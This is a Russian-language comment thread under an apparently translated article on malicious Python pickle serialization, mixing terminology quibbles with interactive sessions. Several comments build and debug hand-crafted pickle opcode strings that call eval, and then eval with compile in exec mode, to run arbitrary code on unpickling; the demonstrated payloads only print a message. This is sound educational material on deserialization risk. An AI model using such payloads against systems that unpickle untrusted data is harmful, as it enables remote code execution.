Comments 24
Google Translate. Не, ну arbitary не переведенный — ладно, но стак? Знаю, что принято писать в личку, но это уже чересчур.
Если уж и перенимать английские слова, то перенимать правильное их значение.
Это еще хорошо, когда ты знаешь определение обоих слов. А что делать новичкам, когда они впервые видят какое-то незнакомое слово в статье, и переведя его получают stuck => застрял

А стак-стэк — просто ещё в 90-е годы, да и в начале нулевых именно в написании на русском разницы не было. Видимо как-то внезапно оно устаканилось и прошло мимо. Спасибо за разъяснения, в статье всё поправил на привычное.
Вы же смотрите Rick and Morty (судя по кдпв), должны понимать, что новичкам часто сложно понять даже очевидные вещи :)
Так-то статья отличная, спасибо за перевод
Это да, но и так же есть вывод, что старые привычки искореняются тяжело :)
Не за что. Заходите ещё :) И вам ещё раз спасибо за поправки :)
Никогда не видел написания "стак". Либо стэк, либо стек (чаще).
Тогда уж должен быть стек, так как иностранные слова пишутся с буквой «е», за редким исключением (например, мэр).
Опечатлся. Не arbitary, а arbitrary.
# добавить функцию в стэк для выполнения arbitrary python
Здравствуй, тьма, наш старый друг.
Имхо, это лучше оставить без перевода :)
ru.wikipedia.org/wiki/The_Sounds_of_Silence
$ python
Python 2.7.12 (default, Dec 4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> pickled_bomb = b'c__builtin__\neval\n(Vprint "Bang! From, Evan."\ntR.'
>>> pickle.loads(pickled_bomb)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python2.7/pickle.py", line 1388, in loads
return Unpickler(file).load()
File "/usr/lib/python2.7/pickle.py", line 864, in load
dispatch[key](self)
File "/usr/lib/python2.7/pickle.py", line 1139, in load_reduce
value = func(*args)
File "<string>", line 1
print "Bang! From, Evan."
^
SyntaxError: invalid syntax
>>>
… что я делаю не так?
в 2 версии питона надо писать print("Bang! From, Evan.")
— со скобками
$ python
Python 2.7.12 (default, Dec 4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> pickled_bomb = b'c__builtin__\neval\n(Vprint("Bang! From, Evan.")\ntR.'
>>> pickle.loads(pickled_bomb)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python2.7/pickle.py", line 1388, in loads
return Unpickler(file).load()
File "/usr/lib/python2.7/pickle.py", line 864, in load
dispatch[key](self)
File "/usr/lib/python2.7/pickle.py", line 1139, in load_reduce
value = func(*args)
File "<string>", line 1
print("Bang! From, Evan.")
^
SyntaxError: invalid syntax
python 2:
>>> print(1,2)
(1, 2)
python 3:
>>> print(1,2)
1 2
Вообще-то ровно наоборот: во 2-м Python'е print
— инструкция, поэтому её можно писать без скобок, если напишем скобки, будет печататься кортёж. А вот в 3-м Python'е print
уже сделали функцией, так что её вызов без скобок не канает.
Проблема в том, что eval()
вычисляет только выражения, а во 2-м Python'е print
— инструкция. Не помогает даже использование импорта из будущего
from __future__ import print_function
поскольку он, судя по всему, не влияет на контекст внутри функции eval()
, восстановленной из pickle, так что превратить print
в функцию не получается. Выполнять инструкции могла бы exec
, но во втором Python'е это тоже инструкция (в отличие от третьего, где она стала функцией), поэтому в pickle её не подсунешь.
Python 2.7.13 (default, Jan 17 2017, 13:56:44) [GCC 6.3.0 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> eval('''print(1)''')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1
print(1)
^
SyntaxError: invalid syntax
>>> # Пробуем импорт функци print из будущего
>>> from __future__ import print_function
>>> eval('''print(1)''')
1
>>>
>>> # Но для pickle это всё равно не работает
>>> import pickle
>>> pickled_bomb = b'c__builtin__\neval\n(Vprint "Bang! From, Evan."\ntR.'
>>> pickle.loads(pickled_bomb)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "D:/Tools/msys64/mingw64/lib/python2.7/pickle.py", line 1388, in loads
return Unpickler(file).load()
File "D:/Tools/msys64/mingw64/lib/python2.7/pickle.py", line 864, in load
dispatch[key](self)
File "D:/Tools/msys64/mingw64/lib/python2.7/pickle.py", line 1139, in load_reduce
value = func(*args)
File "<string>", line 1
print "Bang! From, Evan."
^
SyntaxError: invalid syntax
>>>
Удалось повторить трюк во 2-м Python'е. Рецепт успеха — функция compile()
:
Python 2.7.13 (default, Jan 17 2017, 13:56:44) [GCC 6.3.0 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> # Проверяем, что print -- инструкция, если бы вывелось
>>> # <built-in function print>, она была бы функцией
>>> print
>>>
>>> # Работает со скобками...
>>> pickled_bomb = b'''c__builtin__\neval\n(c__builtin__\ncompile\n(Vprint("Bang! From, Evan.", 1)\nV-\nVexec\ntRtR.'''
>>> pickle.loads(pickled_bomb)
('Bang! From, Evan.', 1)
>>> # ...и без них
>>> pickled_bomb = b'''c__builtin__\neval\n(c__builtin__\ncompile\n(Vprint "Bang! From, Evan., 1"\nV-\nVexec\ntRtR.'''
>>> pickle.loads(pickled_bomb)
Bang! From, Evan. 1
>>>
В первом случае выводится кортёж, во втором — подряд два аргумента инструкции. Со скобками трюк работает в обеих версиях Python'а. Суть: строим выражение
eval(compile('print("Bang! From, Evan.", 1)', '-', 'exec'))
и выполняем его. Второй аргумент функции compile()
есть имя файла, третий указывает, что мы выполняем инструкции. Если бы мы указали там 'eval'
, ничего бы не заработало.
Чтобы ещё и результаты в обоих Python'ах были одинаковыми, передаём необязательные параметры в compile()
:
Python 2.7.13 (default, Jan 17 2017, 13:56:44) [GCC 6.3.0 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> # 65536 == __future__.print_function.CompilerFlag
>>> # 0 -- не использовать инструкции из будущего из окружающего кода
>>> # (то есть, использовать только те, что указали предыдущим аргументом)
pickled_bomb = b'''c__builtin__\neval\n(c__builtin__\ncompile\n(Vprint("Bang! From, Evan.", 1)\nV-\nVexec\nI65536\nI0\ntRtR.'''
>>> pickle.loads(pickled_bomb)
Bang! From, Evan. 1
>>>
консервационный байт-код для метода десериализации объекта
Что это значит? Консервационный, по логике - прошедший сереализацию. Значит это байт код. Но тогда "консервационный байт код" звучит слишком перегружен терминами
Опасные pickles — вредоносная сериализация в Python